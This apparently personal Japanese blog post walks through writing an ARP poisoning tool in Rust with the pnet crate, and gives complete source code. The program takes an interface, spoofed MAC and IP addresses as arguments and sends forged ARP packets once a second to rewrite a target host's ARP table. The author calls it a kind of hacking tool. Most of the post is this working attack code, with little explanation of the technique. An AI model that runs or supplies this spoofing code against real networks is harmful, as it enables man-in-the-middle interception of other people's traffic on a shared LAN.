【Rust】ARPを使ったネットワークプログラミング
Rusの力を借りてARPポイズニングツールを実装します。
以前c言語でツールを実装しました。
これをRustで作るとどのような形になるのかに興味がありました。
ARPポイズニングの原理については上に挙げた記事に簡単に書かれているので、
今回は主に実装を中心に書きたいと思います。
実現するために必要なもの
Rustで実現するためにひとまずドキュメントを読みました。
https://docs.rs/pnet/0.22.0/pnet/index.html
そこで関連しそうなものをもつけました。
- MutableEthernetPacket
- MutableArpPacket
おそらくこれらを使うことになるでしょう。
pnetを使うことはわかっていました。
またRustに限らず低レイヤのパケットを扱うにはRawSocketにアクセスする必要があります。
この方法に関しては以前に記事にしました。
この記事ではパケットをキャプチャするプログラムを作りました。
インターフェースを取得してデータリンク層までアクセスしたわけですが、
今回も同じようにデータリンク層にアクセスします。
他にも細かいところで必要なものが出てくると思いますがそれは後々カバーできるでしょう。
あとはスプーフィングを実現するプログラムを書いていくだけです。
実装
まずはCargo.tomlに依存クレートを記載します。
[package]
name = "arp_poison"
version = "0.1.0"
authors = ["euniclus"]
[dependencies]
pnet = "0.22.0"
お馴染みのpnetです。
このpnetにはしばらくお世話になるとおもいます。
まず必要なモジュールをインポートします。
extern crate pnet;
use pnet::datalink;
use pnet::datalink::NetworkInterface;
use pnet::datalink::Channel::Ethernet;
use pnet::packet::Packet;
use pnet::packet::ethernet::{MutableEthernetPacket};
use pnet::packet::arp::{MutableArpPacket, ArpHardwareType, ArpOperation};
use pnet::packet::ethernet::{EtherTypes, EtherType};
use pnet::util::MacAddr;
use std::env;
use std::net::Ipv4Addr;
use std::{thread, time};
どれが何に使われるかはある程度見当がつくと思います。
次はパケットを作成します。
この部分が一番の悩みどころでした。
// Ethernetパケットサイズ
const E_SIZE: usize = 42;
// Arpパケットサイズ
const A_SIZE: usize = 28;
fn main() {
// 引数取得
let args: Vec<String> = env::args().collect();
if args.len() < 6 {
panic!("[device] [source mac address] [destination mac address] [source ip address] [destination ip address]");
}
// Ethernet Arp パケットをそれぞれ設定
let mut packet:[u8; E_SIZE] = [0; E_SIZE];
let mut ether = MutableEthernetPacket::new(&mut packet).unwrap();
make_ethernet_packet(&mut ether,
MacAddr::from_str(&args[2]).unwrap(),
MacAddr::from_str(&args[3]).unwrap(),
EtherTypes::Arp);
let mut a_packet:[u8; A_SIZE ] = [0; A_SIZE];
let mut arp = MutableArpPacket::new(&mut a_packet).unwrap();
make_earp_packet(&mut arp,
MacAddr::from_str(&args[2]).unwrap(),
MacAddr::from_str(&args[3]).unwrap(),
Ipv4Addr::from_str(&args[4]).unwrap(),
Ipv4Addr::from_str(&args[5]).unwrap());
ether.set_payload(&arp.packet());
// インターフェース取得
let interface = get_interface(&args[1]);
// パケット送信
let i_ether = ether.packet();
send_packet(&interface, &i_ether);
}
// Ethernetパケットを設定
fn make_ethernet_packet(ether: &mut MutableEthernetPacket,
s_mac: MacAddr,
d_mac: MacAddr,
ether_type: EtherType) {
ether.set_source(s_mac);
ether.set_destination(d_mac);
ether.set_ethertype(ether_type);
}
// Arpパケットを設定
fn make_earp_packet(arp: &mut MutableArpPacket,
s_mac: MacAddr,
d_mac: MacAddr,
s_ip: Ipv4Addr,
d_ip: Ipv4Addr) {
arp.set_hardware_type(ArpHardwareType::new(1));
arp.set_protocol_type(EtherTypes::Ipv4);
arp.set_hw_addr_len(6);
arp.set_proto_addr_len(4);
arp.set_operation(ArpOperation::new(1));
arp.set_sender_hw_addr(s_mac);
arp.set_target_hw_addr(d_mac);
arp.set_sender_proto_addr(s_ip);
arp.set_target_proto_addr(d_ip);
}
main関数の頭で引数を取得します。
取得する引数は5個です。(ファイル名をいれて6個)
- インターフェース名
- 送信元Macアドレス
- 宛先Macアドレス
- 送信元IPアドレス
- 宛先IPアドレス
あとはこれらの引数をつかってパケットを作成していきます。
make_ethernet_packetとmake_earp_packetがその処理をします。
この関数にそれぞれMutableEthernetPacketとMutableArpPacketのインスタンスを渡します。
パケットを作り終わったらインターフェースを取得します。
これは以前の記事でやりました。
// インターフェースを取得
fn get_interface(name: &String) -> NetworkInterface {
let interfaces = datalink::interfaces();
let interface = interfaces.into_iter()
.filter(|interface: &NetworkInterface| interface.name == *name)
.next()
.expect("failed: get interface");
interface
}
そしていよいよパケットの送信です。
MutableEthernetPacketのpacket関数でパケットを[u8]にしたものを取得し、
パケットを送信する処理そしてくれるsend_packet関数に渡します。
let i_ether = ether.packet();
send_packet(&interface, &i_ether);
// パケット送信処理
fn send_packet(interface: &NetworkInterface, packet: &[u8]) {
let (mut tx, _rx) = match datalink::channel(&interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("not channel"),
Err(e) => {
panic!("error {}", e);
}
};
loop {
println!("Send Arp Packet");
tx.send_to(&packet, None);
thread::sleep(time::Duration::from_millis(1000));
}
}
ソースコード全体はこのようになりました。
extern crate pnet;
use pnet::datalink;
use pnet::datalink::NetworkInterface;
use pnet::datalink::Channel::Ethernet;
use pnet::packet::Packet;
use pnet::packet::ethernet::{MutableEthernetPacket};
use pnet::packet::arp::{MutableArpPacket, ArpHardwareType, ArpOperation};
use pnet::packet::ethernet::{EtherTypes, EtherType};
use pnet::util::MacAddr;
use std::env;
use std::net::Ipv4Addr;
use std::{thread, time};
use std::str::FromStr;
// Ethernetパケットサイズ
const E_SIZE: usize = 42;
// Arpパケットサイズ
const A_SIZE: usize = 28;
fn main() {
// 引数取得
let args: Vec<String> = env::args().collect();
if args.len() < 6 {
panic!("[device] [source mac address] [destination mac address] [source ip address] [destination ip address]");
}
// Ethernet Arp パケットをそれぞれ設定
let mut packet:[u8; E_SIZE] = [0; E_SIZE];
let mut ether = MutableEthernetPacket::new(&mut packet).unwrap();
make_ethernet_packet(&mut ether,
MacAddr::from_str(&args[2]).unwrap(),
MacAddr::from_str(&args[3]).unwrap(),
EtherTypes::Arp);
let mut a_packet:[u8; A_SIZE ] = [0; A_SIZE];
let mut arp = MutableArpPacket::new(&mut a_packet).unwrap();
make_earp_packet(&mut arp,
MacAddr::from_str(&args[2]).unwrap(),
MacAddr::from_str(&args[3]).unwrap(),
Ipv4Addr::from_str(&args[4]).unwrap(),
Ipv4Addr::from_str(&args[5]).unwrap());
ether.set_payload(&arp.packet());
// インターフェース取得
let interface = get_interface(&args[1]);
// パケット送信
let i_ether = ether.packet();
send_packet(&interface, &i_ether);
}
// パケット送信処理
fn send_packet(interface: &NetworkInterface, packet: &[u8]) {
let (mut tx, _rx) = match datalink::channel(&interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("not channel"),
Err(e) => {
panic!("error {}", e);
}
};
loop {
println!("Send Arp Packet");
tx.send_to(&packet, None);
thread::sleep(time::Duration::from_millis(1000));
}
}
// インターフェースを取得
fn get_interface(name: &String) -> NetworkInterface {
let interfaces = datalink::interfaces();
let interface = interfaces.into_iter()
.filter(|interface: &NetworkInterface| interface.name == *name)
.next()
.expect("failed: get interface");
interface
}
// Ethernetパケットを設定
fn make_ethernet_packet(ether: &mut MutableEthernetPacket,
s_mac: MacAddr,
d_mac: MacAddr,
ether_type: EtherType) {
ether.set_source(s_mac);
ether.set_destination(d_mac);
ether.set_ethertype(ether_type);
}
// Arpパケットを設定
fn make_earp_packet(arp: &mut MutableArpPacket,
s_mac: MacAddr,
d_mac: MacAddr,
s_ip: Ipv4Addr,
d_ip: Ipv4Addr) {
arp.set_hardware_type(ArpHardwareType::new(1));
arp.set_protocol_type(EtherTypes::Ipv4);
arp.set_hw_addr_len(6);
arp.set_proto_addr_len(4);
arp.set_operation(ArpOperation::new(1));
arp.set_sender_hw_addr(s_mac);
arp.set_target_hw_addr(d_mac);
arp.set_sender_proto_addr(s_ip);
arp.set_target_proto_addr(d_ip);
}
動作確認
対象ホストのARPテーブルを書き換えることができていたら成功です。
ソースコードのクオリティはともかくテクニックの実現はできているようですね。
Rustのベストプラクティス
今回は一種のハッキングツールを作りました。
Rustはまだ参考書も圧倒的に少なくベストプラクティスもあまり確立されていないように思えます。
こういう時にドキュメント読んで進んで何かを作ってみることは重要なことだと思います。
ただベストプラクティスが確立されていな状態で我流で作ると、
行儀の悪い作り方をしているか不安になります。
一日でも早くRustの作法が固まればいいなと思います。